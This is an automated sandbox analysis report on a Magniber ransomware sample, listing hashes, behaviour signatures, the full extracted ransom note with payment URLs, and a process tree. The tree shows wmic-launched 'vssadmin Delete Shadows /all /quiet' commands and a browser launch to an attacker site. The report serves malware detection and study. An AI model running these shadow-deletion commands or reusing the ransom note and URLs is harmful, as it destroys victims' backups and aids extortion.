Overview

overview

10

Static

static

c6b6ec00_b...is.exe

windows7_x64

10

c6b6ec00_b...is.exe

windows10_x64

3

Resubmissions

18-08-2021 23:22

210818-8e7ftqdsax 10

22-05-2021 11:01

210522-avrsva3a7s 10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    18-08-2021 23:22

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General

  • Target

    c6b6ec00_by_Libranalysis.exe

  • Size

    22KB

  • MD5

    c6b6ec00b64069d66c8d14d65f7cfd8f

  • SHA1

    b90e6bf12728fa3b0984aabc32b39f1db082a1da

  • SHA256

    7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed

  • SHA512

    c9d7c97c63806e87804c33530f48ba950542ba28421d354cb287c9bf027ff5a853b76200e87eadd3cde0469f4b8c93f8c4bc0e71f5e4aa1cdf33e05c0673254a

Score
10/10
magniberransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://34704ac06214c040e8csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://34704ac06214c040e8csnwyqmwa.jobsbig.cam/csnwyqmwa http://34704ac06214c040e8csnwyqmwa.nowuser.casa/csnwyqmwa http://34704ac06214c040e8csnwyqmwa.boxgas.icu/csnwyqmwa http://34704ac06214c040e8csnwyqmwa.bykeep.club/csnwyqmwa Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://34704ac06214c040e8csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa

http://34704ac06214c040e8csnwyqmwa.jobsbig.cam/csnwyqmwa

http://34704ac06214c040e8csnwyqmwa.nowuser.casa/csnwyqmwa

http://34704ac06214c040e8csnwyqmwa.boxgas.icu/csnwyqmwa

http://34704ac06214c040e8csnwyqmwa.bykeep.club/csnwyqmwa

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

    ransomwaremagniber
  • Process spawned unexpected child process 8 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 5 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Suspicious use of SetThreadContext 4 IoCs
  • Interacts with shadow copies 2 TTPs 4 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
    adwarespyware
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1196
    • C:\Users\Admin\AppData\Local\Temp\c6b6ec00_by_Libranalysis.exe
      "C:\Users\Admin\AppData\Local\Temp\c6b6ec00_by_Libranalysis.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:1028
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1728
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
            PID:760
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1408
    • C:\Windows\system32\Dwm.exe
      "C:\Windows\system32\Dwm.exe"
      1⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1168
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1244
    • C:\Windows\system32\taskhost.exe
      "taskhost.exe"
      1⤵
      • Modifies extensions of user files
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1108
      • C:\Windows\system32\notepad.exe
        notepad.exe C:\Users\Public\readme.txt
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:1712
      • C:\Windows\system32\cmd.exe
        cmd /c "start http://34704ac06214c040e8csnwyqmwa.jobsbig.cam/csnwyqmwa^&1^&49714945^&66^&315^&12"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1732
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" http://34704ac06214c040e8csnwyqmwa.jobsbig.cam/csnwyqmwa&1&49714945&66&315&12
          3⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1796
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1796 CREDAT:275457 /prefetch:2
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1396
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1532
    • C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:980
    • C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:636
    • C:\Windows\system32\cmd.exe
      cmd /c CompMgmtLauncher.exe
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1916
      • C:\Windows\system32\CompMgmtLauncher.exe
        CompMgmtLauncher.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2128
        • C:\Windows\system32\wbem\wmic.exe
          "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
          3⤵
            PID:2376
      • C:\Windows\system32\cmd.exe
        cmd /c CompMgmtLauncher.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1416
        • C:\Windows\system32\CompMgmtLauncher.exe
          CompMgmtLauncher.exe
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2232
          • C:\Windows\system32\wbem\wmic.exe
            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
            3⤵
              PID:2392
        • C:\Windows\system32\CompMgmtLauncher.exe
          CompMgmtLauncher.exe
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:2140
          • C:\Windows\system32\wbem\wmic.exe
            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
            2⤵
              PID:2332
          • C:\Windows\system32\cmd.exe
            cmd /c CompMgmtLauncher.exe
            1⤵
            • Process spawned unexpected child process
            • Suspicious use of WriteProcessMemory
            PID:1272
          • C:\Windows\system32\cmd.exe
            cmd /c CompMgmtLauncher.exe
            1⤵
            • Process spawned unexpected child process
            • Suspicious use of WriteProcessMemory
            PID:1572
            • C:\Windows\system32\CompMgmtLauncher.exe
              CompMgmtLauncher.exe
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2156
              • C:\Windows\system32\wbem\wmic.exe
                "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                3⤵
                  PID:2340
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2580
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2604
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2616
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2668
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
                PID:2692

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/1028-62-0x00000000001F0000-0x00000000001F1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1028-61-0x00000000001E0000-0x00000000001E1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1028-60-0x0000000000020000-0x0000000000025000-memory.dmp

                Filesize

                20KB

                Download

              • memory/1196-63-0x0000000003AA0000-0x0000000003AB0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/1712-65-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

                Filesize

                8KB

                Download